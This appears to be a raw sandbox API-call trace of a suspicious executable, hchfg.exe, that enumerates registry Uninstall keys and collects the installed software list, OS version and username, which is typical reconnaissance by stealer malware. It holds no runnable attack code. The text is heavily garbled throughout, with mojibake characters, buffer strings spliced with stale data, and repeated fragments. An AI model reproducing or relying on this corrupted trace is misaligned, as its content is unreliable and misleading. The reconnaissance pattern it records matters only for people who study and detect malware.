›†㥁㥄ㅄ㤰㌭㌴㉁䍅ⴶ㤸㉂䙁㡂㜭㍆ㅂ䘸ⴰ㡅䌰〰㠳਍塅彅䅐䡔†›†㩃啜敳獲慜呅摁橺屺灁䑰瑡屡潒浡湩屧杦癨杨癨晧杤桦档杦攮數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 90 [0166.373] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x758) returned 0x0 [0166.373] RegQueryValueExW (in: hKey=0x758, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpcbData=0x1e7df794*=0x7e) returned 0x0 [0166.373] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.374] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321dc, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\n40GHz\r\nCPU Count: ›†㥁㥄ㅄ㤰㌭㌴㉁䍅ⴶ㤸㉂䙁㡂㜭㍆ㅂ䘸ⴰ㡅䌰〰㠳਍塅彅䅐䡔†›†㩃啜敳獲慜呅摁橺屺灁䑰瑡屡潒浡湩屧杦癨杨癨晧杤桦档杦攮數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 14 [0166.374] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32270, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}A15}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\n40GHz\r\nCPU Count: ›†㥁㥄ㅄ㤰㌭㌴㉁䍅ⴶ㤸㉂䙁㡂㜭㍆ㅂ䘸ⴰ㡅䌰〰㠳਍塅彅䅐䡔†›†㩃啜敳獲慜呅摁橺屺灁䑰瑡屡潒浡湩屧杦癨杨癨晧杤桦档杦攮數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 90 [0166.374] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x75c) returned 0x0 [0166.374] RegQueryValueExW (in: hKey=0x75c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="14.10.25017", lpcbData=0x1e7df78c*=0x18) returned 0x0 [0166.374] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.374] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\n", cchWideChar=652, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nf", lpUsedDefaultChar=0x0) returned 652 [0166.374] RegEnumKeyA (in: hKey=0x674, dwIndex=0x1d, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 0x0 [0166.374] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322d8, cbMultiByte=652, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\n數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 652 [0166.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\n數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 11 [0166.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ad8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\n數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 90 [0166.375] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x760) returned 0x0 [0166.375] RegQueryValueExW (in: hKey=0x760, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2005 Redistributable", lpcbData=0x1e7df794*=0x54) returned 0x0 [0166.375] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b40, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\n數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 14 [0166.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bd4, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}1a2}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\n數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 90 [0166.375] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x764) returned 0x0 [0166.376] RegQueryValueExW (in: hKey=0x764, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="8.0.61001", lpcbData=0x1e7df78c*=0x14) returned 0x0 [0166.376] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.376] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\n", cchWideChar=706, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nb", lpUsedDefaultChar=0x0) returned 706 [0166.376] RegEnumKeyA (in: hKey=0x674, dwIndex=0x1e, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 0x0 [0166.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c3c, cbMultiByte=706, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\n〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 706 [0166.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\n〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 11 [0166.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32174, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\n〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 90 [0166.376] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x768) returned 0x0 [0166.377] RegQueryValueExW (in: hKey=0x768, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpcbData=0x1e7df794*=0x7e) returned 0x0 [0166.377] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.377] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321dc, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\n〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 14 [0166.377] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32270, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}00F}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\n〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aE甋") returned 90 [0166.377] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x76c) returned 0x0 [0166.377] RegQueryValueExW (in: hKey=0x76c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="9.0.30729.6161", lpcbData=0x1e7df78c*=0x1e) returned 0x0 [0166.377] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.378] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\n", cchWideChar=786, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 